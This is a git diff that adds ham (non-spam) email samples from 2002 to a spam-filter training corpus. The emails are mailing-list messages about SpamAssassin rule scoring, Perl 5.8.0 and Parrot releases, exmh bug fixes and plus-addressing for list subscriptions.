+X-Mailman-Version: 2.0.10 +Precedence: bulk +List-Unsubscribe: , + +List-Id: Irish Internet Users List. See http://iiu.taint.org/ + +List-Post: +List-Help: +List-Subscribe: , + +List-Archive: + +billy@billyglynn.com has been successfully subscribed to Irish +Internet Users. + + + diff --git a/bayes/spamham/easy_ham_2/00676.807a365c8b51d59e122b11c95d2d984a b/bayes/spamham/easy_ham_2/00676.807a365c8b51d59e122b11c95d2d984a new file mode 100644 index 0000000..76e5d7f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00676.807a365c8b51d59e122b11c95d2d984a @@ -0,0 +1,59 @@ +From nix@esperi.demon.co.uk Fri Jul 19 21:51:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6F7B2440C8 + for ; Fri, 19 Jul 2002 16:51:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 21:51:59 +0100 (IST) +Received: from esperi.demon.co.uk (0@esperi.demon.co.uk [194.222.138.8]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JKqLJ02381 for + ; Fri, 19 Jul 2002 21:52:21 +0100 +Received: from amaterasu.srvr.nix (0@amaterasu.srvr.nix [192.168.1.14]) by + esperi.demon.co.uk (8.11.6/8.11.6) with ESMTP id g6JKpog31117; + Fri, 19 Jul 2002 21:51:50 +0100 +Received: (from nix@localhost) by amaterasu.srvr.nix (8.11.6/8.11.4) id + g6JKpnp06336; Fri, 19 Jul 2002 21:51:49 +0100 +Sender: nix@esperi.demon.co.uk +To: yyyy@spamassassin.taint.org (Justin Mason) +Cc: Shane Williams , + spamassassin-talk@lists.sourceforge.net +Subject: Re: [SAtalk] Two rule suggestions +References: <20020719110444.E7CD444073@phobos.labs.netnoteinc.com> +X-Emacs: the prosecution rests its case. +From: Nix +Date: 19 Jul 2002 21:51:49 +0100 +In-Reply-To: <20020719110444.E7CD444073@phobos.labs.netnoteinc.com> +Message-Id: <874revl9ui.fsf@amaterasu.srvr.nix> +User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Informed Management (RC1)) +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii + +On Fri, 19 Jul 2002, Justin Mason mused: +> Shane Williams said: +>> Also, if a single line of yelling scores -0.036, why not just round +>> it off to 0 and not have the test run at all? +> +> good question ;) + +It seems reasonable to have a configurable minimum below which +spamassassin flattens the test to zero (turning it off): by default set +to zero; but if you set it to say 0.01, spamassassin would ignore tests +with scores -0.01<0<0.01 (trading accuracy for time). + +The overkill variant of this feature would have scores scored by (score +* relative-time-taken) with relative-time-taken computed over a large +corpus (probably Craig's ;} ). Then you could specify a minimum value of +*that* parameter to flatten at, giving assurances that you're killing +only tests that are expensive for their utility. + +Unfortunately I can't think of a good name for that parameter. + +I can whip up a patch if anyone thinks this is any use. + +-- +`There's something satisfying about killing JWZ over and over again.' + -- 1i, personal communication + + diff --git a/bayes/spamham/easy_ham_2/00677.691e4626992039c8ae0c24dd2b93d8a3 b/bayes/spamham/easy_ham_2/00677.691e4626992039c8ae0c24dd2b93d8a3 new file mode 100644 index 0000000..3b353ea --- /dev/null +++ b/bayes/spamham/easy_ham_2/00677.691e4626992039c8ae0c24dd2b93d8a3 @@ -0,0 +1,75 @@ +From spamcon-tools-admin@spamcon.org Fri Jul 19 23:22:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E7226440C8 + for ; Fri, 19 Jul 2002 18:22:56 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 23:22:56 +0100 (IST) +Received: from plushie.suespammers.org (plushie.suespammers.org + [207.126.97.64]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6JMIUJ09175 for ; Fri, 19 Jul 2002 23:18:31 +0100 +Received: from plushie.suespammers.org (localhost [127.0.0.1]) by + plushie.suespammers.org (8.11.3/8.11.3) with ESMTP id g6JMCJU12043; + Fri, 19 Jul 2002 15:12:19 -0700 +Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) + by plushie.suespammers.org (8.11.3/8.11.3) with ESMTP id g6JLqQU11488 for + ; Fri, 19 Jul 2002 14:52:26 -0700 +Received: from [66.120.90.133] by mta6.snfc21.pbi.net (iPlanet Messaging + Server 5.1 (built May 7 2001)) with ESMTP id + <0GZI00G8YNFDTQ@mta6.snfc21.pbi.net> for spamcon-tools@spamcon.org; + Fri, 19 Jul 2002 14:52:26 -0700 (PDT) +From: Tom Geller +Subject: Re: [spamcon-tools] Need some help on SPAM, tools, answering a few questions, Thanks. +In-Reply-To: <5.1.1.6.0.20020719105132.03bfb570@wheresmymailserver.com> +X-Sender: tgeller (Unverified) +To: spamcon-tools@spamcon.org +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7BIT +References: <5.1.1.6.0.20020719105132.03bfb570@wheresmymailserver.com> +Sender: spamcon-tools-admin@spamcon.org +Errors-To: spamcon-tools-admin@spamcon.org +X-Beenthere: spamcon-tools@spamcon.org +X-Mailman-Version: 2.0.8 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Cooperative development of tools to reduce spam +List-Unsubscribe: , + +List-Archive: +Date: Fri, 19 Jul 2002 14:52:23 -0700 + +At 11:30 AM -0700 7/19/02, William Pietri wrote: + +>Laws occasionally are proposed; many are either clue-deficient or +>warped by special interests to be worse than no law at all. Others +>probably have more detailed information, but I look at the Spamcon +>site and at CAUCE for this sort of info. + +Specifically, we keep track of laws and cases at +. Another source is +. + +Cheers, +-- + + Tom Geller * tom@spamcon.org * +1-415-552-2557 +Media Liaison/Secretary, SpamCon Foundation + Protecting email as a medium of communications and commerce + A California non-profit organization + Become a member: +_______________________________________________ +spamcon-tools mailing list +spamcon-tools@spamcon.org +http://mail.spamcon.org/mailman/listinfo/spamcon-tools +Subscribe, unsubscribe, etc: Send "help" in body of message to + spamcon-tools-request@spamcon.org +Contact administrator: spamcon-tools-admin@spamcon.org + + diff --git a/bayes/spamham/easy_ham_2/00678.7562e626b536eb5c1534ec1de6cb8259 b/bayes/spamham/easy_ham_2/00678.7562e626b536eb5c1534ec1de6cb8259 new file mode 100644 index 0000000..d8c1e4b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00678.7562e626b536eb5c1534ec1de6cb8259 @@ -0,0 +1,55 @@ +From pudge@perl.org Sat Jul 20 03:02:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7F3FB440C8 + for ; Fri, 19 Jul 2002 22:02:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 03:02:28 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6K20YJ31093 for + ; Sat, 20 Jul 2002 03:00:35 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17VjS8-0005D4-00 for ; + Fri, 19 Jul 2002 21:54:36 -0400 +Date: Sat, 20 Jul 2002 02:00:22 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-07-20 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Last Call for Papers for YAPC::Europe::2002 + posted by pudge on Friday July 19, @03:30 (yapce) + http://use.perl.org/article.pl?sid=02/07/18/1430255 + +Perl 5.8.0 Released + posted by hfb on Friday July 19, @09:29 (releases) + http://use.perl.org/article.pl?sid=02/07/19/038259 + +Parrot 0.0.7 Released + posted by pudge on Friday July 19, @13:40 (parrot) + http://use.perl.org/article.pl?sid=02/07/19/1346238 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/00679.4cece88c654b4e5936921c5d4072797d b/bayes/spamham/easy_ham_2/00679.4cece88c654b4e5936921c5d4072797d new file mode 100644 index 0000000..3baa3e1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00679.4cece88c654b4e5936921c5d4072797d @@ -0,0 +1,131 @@ +From pudge@perl.org Sat Jul 20 03:02:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DAFEB440C9 + for ; Fri, 19 Jul 2002 22:02:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 03:02:28 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6K20dJ31325 for + ; Sat, 20 Jul 2002 03:00:39 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17VjSF-0005I8-01 for ; + Fri, 19 Jul 2002 21:54:43 -0400 +Date: Sat, 20 Jul 2002 02:00:29 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-07-20 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Last Call for Papers for YAPC::Europe::2002 + * Perl 5.8.0 Released + * Parrot 0.0.7 Released + ++--------------------------------------------------------------------+ +| Last Call for Papers for YAPC::Europe::2002 | +| posted by pudge on Friday July 19, @03:30 (yapce) | +| http://use.perl.org/article.pl?sid=02/07/18/1430255 | ++--------------------------------------------------------------------+ + +[0]Richard Foley writes "Share your 'pe[a]rls of wisdom' with the Perl +community: attendees from all around the world, gurus and geeks alike, +will converge on Munich for [0]YAPC::Europe Sept. 18-20 to listen to the +talks and tutorials presented at this gathering of minds. This year's +theme is 'The Science of Perl', which means that we would really like to +hear about suggestions for talks, projects, experiences which involve +both perl and science. This should not be regarded as a restriction, more +as a 'nice to have' :-) Proposals may be submitted between January 1st +2002 and July 30th 2002." + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/18/1430255 + +Links: + 0. http://www.yapc.org/Europe/ + + ++--------------------------------------------------------------------+ +| Perl 5.8.0 Released | +| posted by hfb on Friday July 19, @09:29 (releases) | +| http://use.perl.org/article.pl?sid=02/07/19/038259 | ++--------------------------------------------------------------------+ + +[0]jhi writes "After more than two long years of hard work, the +perl5-porters is proud to announce Perl 5.8.0. The most important new +features are enhanced Unicode and threads support, and the new I/O +subsystem called PerlIO, but there are lots of new goodies, not to +mention bazillion bug fixes. + +The full [1]announcement is available, and you can read [2]what is new in +5.8.0, and if you like what you see, start [3]installing. + +Since this release has extensive support for non-Latin scripts, we also +translated the announcement to [4]Traditional Chinese (Big5-ETEN), +[5]Simplified Chinese (EUC-CN or GB2312), [6]Japanese (EUC-JP), and +[7]Korean (EUC-KR) (by Autrijus Tang, Dan Kogai, and Jungshik Shin). + +[8]ftp://ftp.cpan.org/pub/CPAN/src/perl-5.8.0.tar.gz is the main URL to +use, but of course any CPAN mirror will do once they catch up. + +Share and Enjoy! + +-- Jarkko Hietaniemi, on behalf of the Perl5 Porters" + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/19/038259 + +Links: + 0. mailto:jhi@iki.fi + 1. http://dev.perl.org/perl5/news/2002/07/18/580ann/ + 2. http://dev.perl.org/perl5/news/2002/07/18/580ann/perldelta.pod + 3. http://dev.perl.org/perl5/news/2002/07/18/580ann/INSTALL + 4. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.big5-tw + 5. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.euc-cn + 6. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.euc-jp + 7. http://dev.perl.org/perl5/news/2002/07/18/580ann/p580ann.txt.euc-kr + 8. ftp://ftp.cpan.org/pub/CPAN/src/perl-5.8.0.tar.gz + + ++--------------------------------------------------------------------+ +| Parrot 0.0.7 Released | +| posted by pudge on Friday July 19, @13:40 (parrot) | +| http://use.perl.org/article.pl?sid=02/07/19/1346238 | ++--------------------------------------------------------------------+ + +[0]DrForr blesses us with version 0.0.7 of Parrot, including Perl 6 +grammar and a small, but functional, compiler. Full announcement is +below. + +This story continues at: + http://use.perl.org/article.pl?sid=02/07/19/1346238 + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/19/1346238 + +Links: + 0. mailto:jgoff@perl.org + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/00680.ee1366b6b29202f0ffe65753ee37f0a4 b/bayes/spamham/easy_ham_2/00680.ee1366b6b29202f0ffe65753ee37f0a4 new file mode 100644 index 0000000..855b8da --- /dev/null +++ b/bayes/spamham/easy_ham_2/00680.ee1366b6b29202f0ffe65753ee37f0a4 @@ -0,0 +1,107 @@ +From exmh-workers-admin@redhat.com Fri Jul 19 18:26:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 80532440C8 + for ; Fri, 19 Jul 2002 13:26:41 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 18:26:41 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JHO6J18570 for + ; Fri, 19 Jul 2002 18:24:07 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 471FA3F5DB; Fri, 19 Jul 2002 + 13:24:04 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id D363F3FE05 + for ; Fri, 19 Jul 2002 13:20:57 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6JHKwN27757 for exmh-workers@listman.redhat.com; Fri, 19 Jul 2002 + 13:20:58 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6JHKwR27753 for + ; Fri, 19 Jul 2002 13:20:58 -0400 +Received: from blackcomb.panasas.com (gw2.panasas.com [65.194.124.178]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6JH9es02136 for + ; Fri, 19 Jul 2002 13:09:40 -0400 +Received: from medlicott.panasas.com (IDENT:welch@medlicott.panasas.com + [172.17.132.188]) by blackcomb.panasas.com (8.9.3/8.9.3) with ESMTP id + NAA17211; Fri, 19 Jul 2002 13:20:47 -0400 +Message-Id: <200207191720.NAA17211@blackcomb.panasas.com> +To: Valdis.Kletnieks@vt.edu +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: Minor whoops with glimpse support +In-Reply-To: <200207190410.g6J4AhxR006560@turing-police.cc.vt.edu> +References: <200207190410.g6J4AhxR006560@turing-police.cc.vt.edu> +Comments: In-reply-to Valdis.Kletnieks@vt.edu message dated "Fri, 19 Jul + 2002 00:10:43 -0400." +From: Brent Welch +X-Url: http://www.panasas.com/ +X-Face: "HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=>r5~UnRml1:4EglY{9B+ + :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\W:AK\j?@?c1o +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Fri, 19 Jul 2002 10:20:46 -0700 + +There are some cases like this with "incomplete ftoc". These are surely old +bugs that appeared after I added the ability to only scan the tail of the ftoc +if for some reason the scan module decides it cannot easily merge the newly +scanned (scan unseen) into the tail of the cached scan listing. Hmm - I poked +around a bit. glimpse.tcl uses Msg_Change, which has code in it to try and +deal with showing a message that isn't in the ftoc: + Exmh_Status "Cannot find msg $msgid - Rescan?" +Is that message hiding in your log? Perhaps there should be a return from +Msg_Change that glimpse.tcl can use to decide what to do next. + +>>>Valdis.Kletnieks@vt.edu said: + > Scenario: + > + > Inbox has a "dirty" ftoc, only the last 100 entries (3500-last or so). + > + > Go to search... glimpse. Glimpse finds a hit in inbox/3448 (which + > isn't + > in the ftoc). Clicking on that one results in a find tool being + > launched + > *on the current item* (which of course misses, since the search string + > isn't IN that item - I wasn't even in 'inbox' at the time. We don't + > change + > folders to inbox or display the message that got hit. + > + > Clicking on another 'glimpse' hit that was an item that was in a + > non-dirty + > ftoc worked as expected - folder changed and that mail displayed, and + > the search tool found the hit. + > + > /Valdis + +-- +Brent Welch +Software Architect, Panasas Inc +Pioneering the World's Most Scalable and Agile Storage Network +www.panasas.com +welch@panasas.com + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00681.b82e0f297d0ca719567dc764da63e8b7 b/bayes/spamham/easy_ham_2/00681.b82e0f297d0ca719567dc764da63e8b7 new file mode 100644 index 0000000..51638e0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00681.b82e0f297d0ca719567dc764da63e8b7 @@ -0,0 +1,151 @@ +From exmh-workers-admin@redhat.com Fri Jul 19 22:23:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EB8BA440C8 + for ; Fri, 19 Jul 2002 17:23:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 22:23:54 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JLKRJ04824 for + ; Fri, 19 Jul 2002 22:20:27 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id C97E53FF77; Fri, 19 Jul 2002 + 17:20:20 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id E5F403F80A + for ; Fri, 19 Jul 2002 17:16:35 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6JLGaF12303 for exmh-workers@listman.redhat.com; Fri, 19 Jul 2002 + 17:16:36 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6JLGaR12299 for + ; Fri, 19 Jul 2002 17:16:36 -0400 +Received: from austin-jump.vircio.com (jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6JL5Hs18150 + for ; Fri, 19 Jul 2002 17:05:17 -0400 +Received: (qmail 29637 invoked by uid 104); 19 Jul 2002 21:16:34 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4213. . Clean. Processed in 0.317891 + secs); 19/07/2002 16:16:34 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 19 Jul 2002 21:16:34 -0000 +Received: (qmail 9708 invoked from network); 19 Jul 2002 21:16:31 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?iwc0NnwWN+TAasDQHneXmsrngDKt2Eq7?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 19 Jul 2002 21:16:31 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Anders Eriksson , exmh-workers@spamassassin.taint.org +Subject: Re: new bugs +In-Reply-To: <1027034490.6959.TMDA@deepeddy.vircio.com> +References: <20020718095711.88D71470D@tippex.localdomain> + <1027034490.6959.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-2058972181P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027113390.9484.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Fri, 19 Jul 2002 16:16:29 -0500 + +--==_Exmh_-2058972181P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Thu, 18 Jul 2002 18:21:28 -0500 +> +> > From: Anders Eriksson +> > Date: Thu, 18 Jul 2002 11:57:06 +0200 +> > +> > +> > I just installed from cvs as of today and compared to cvs as of ~2 +> > months ago: +> > +> > +Snapper behaviour when 'n'ing through mails! Nice! +> > +> > -my bgprocessing runs flist each minute. What happens is that the +> > flist goes blank for about 0.5 seconds and then redisplays from the +> > top of the list. This, while I was reading messages somewhere in the +> > middle of the list. +> > +> > -new messgaes tends to be colored in black (as if read) although the +> > are not. It is especially obvious since my scan format slaps in a 'U' +> > after the msg id for those messages. +> > +> > -the current mgs marker '+' seems to disappear after the bg flist. +> > Don't really know if that matters though. They are still there on +> > disk according to nmh. +> +> I fixed the last and least important one. +> +> After making flist run once a minute, I've seen the first two, but they don't +> always occur. I'll keep looking. + +I think I found the bug that caused this. However, since I couldn't make it +happen every single time, I may have just been lucky since I made my change. +At any rate, the change I just made is clearly more correct than what was +there before. + +Let me know if I'm mistaken. + +Chris + + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-2058972181P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9OIGtK9b4h5R0IUIRAthIAJ4wtss7gIde5srJW7/X8naPwCfakgCbBQ3Z +DJAuHklXX3TlR8pVjp2LWIA= +=Dqvl +-----END PGP SIGNATURE----- + +--==_Exmh_-2058972181P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00682.ed1e8972923a1eb98875e4a2b87f6f60 b/bayes/spamham/easy_ham_2/00682.ed1e8972923a1eb98875e4a2b87f6f60 new file mode 100644 index 0000000..ee2462e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00682.ed1e8972923a1eb98875e4a2b87f6f60 @@ -0,0 +1,116 @@ +From exmh-users-admin@redhat.com Sat Jul 20 03:29:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 30210440C8 + for ; Fri, 19 Jul 2002 22:29:20 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Sat, 20 Jul 2002 03:29:20 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6K2OjJ02230 for + ; Sat, 20 Jul 2002 03:24:45 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 80FE6401B7; Fri, 19 Jul 2002 + 22:02:04 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 2C52640AD5 + for ; Fri, 19 Jul 2002 21:51:41 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6K1pfm20663 for exmh-users@listman.redhat.com; Fri, 19 Jul 2002 + 21:51:41 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6K1pfR20659 for + ; Fri, 19 Jul 2002 21:51:41 -0400 +Received: from dingo.home.kanga.nu ([198.144.204.213]) by mx1.spamassassin.taint.org + (8.11.6/8.11.6) with SMTP id g6K1eLs27797 for ; + Fri, 19 Jul 2002 21:40:21 -0400 +Received: from kanga.nu (localhost [127.0.0.1]) by dingo.home.kanga.nu + (Postfix) with ESMTP id BE73A11E8 for ; + Fri, 19 Jul 2002 18:51:39 -0700 (PDT) +To: exmh-users@spamassassin.taint.org +Subject: Folder computed replcomps (and replgroupcomps +X-Face: ?^_yw@fA`CEX&}--=*&XqXbF-oePvxaT4(kyt\nwM9]{]N!>b^K}-Mb9 + YH%saz^>nq5usBlD"s{(.h'_w|U^3ldUq7wVZz$`u>MB(-4$f\a6Eu8.e=Pf\ +X-Image-Url: http://www.kanga.nu/~claw/kanga.face.tiff +X-Url: http://www.kanga.nu/~claw/ +Message-Id: <8128.1027129899@kanga.nu> +From: J C Lawrence +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Fri, 19 Jul 2002 18:51:39 -0700 + + +Is there a relatively clean way to dynamically build comp files based on +the path of the current folder? + + Yeah, I know exmh will pull the first comp in the path up from the + current folder to the mail root, but that's not what I want. + +I'm starting to use plus addressing heavily as part of my SPAM controls. +Specifically I each mailing list with a list-specific address. + + eg I would subscribe to this list as claw+exmh@kanga.nu or perhaps + claw+exmh-users@kanga.nu instead of claw@kanga.nu + +However to do this I need a new set of comp files for each list folder. +As I'm subscribed to something just over 600 lists, that's rather a +pain. I really don't want to go create and maintain ~1,800 comp files +(components, replcomps, replgroupcomps), especially not as I suspect +I'll be changing or adapting my naming pattern a few times as I adapt +various supporting tools. + +What would be great is if I could build the relevant comp file +dynamically at runtime. That way I don't need to maintain a couple +thousand comp files, I just need to make my plus addresses +predictable/computable based (say) on the folder path. + + eg I'm currently in folder: + + +-Lists-/Products/Exmh-L + + The script would dynamically build a compfile which had a From: of + claw+exmh@kanga.nu for repl, comp, etc. + + Similarly when in folder: + + +-Lists-/Linux/SVLUG-L + + I'd get a From: of claw+svlug@kanga.nu + +That way I can use lookup tables for those folders which have multiple +lists being delivered into them. + +Any ideas how this might be done in an automatic/maintainable fashion? +It would be more than good enough if all I had to do was drop a tiny +FROM_HEADER file in each folder that somehow got picked up by the comp +file... + +-- +J C Lawrence +---------(*) Satan, oscillate my metallic sonatas. +claw@kanga.nu He lived as a devil, eh? +http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00683.747e1fca94486b79547aa91adab15b1d b/bayes/spamham/easy_ham_2/00683.747e1fca94486b79547aa91adab15b1d new file mode 100644 index 0000000..0c6ecba --- /dev/null +++ b/bayes/spamham/easy_ham_2/00683.747e1fca94486b79547aa91adab15b1d @@ -0,0 +1,64 @@ +From fork-admin@xent.com Fri Jul 19 22:13:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com 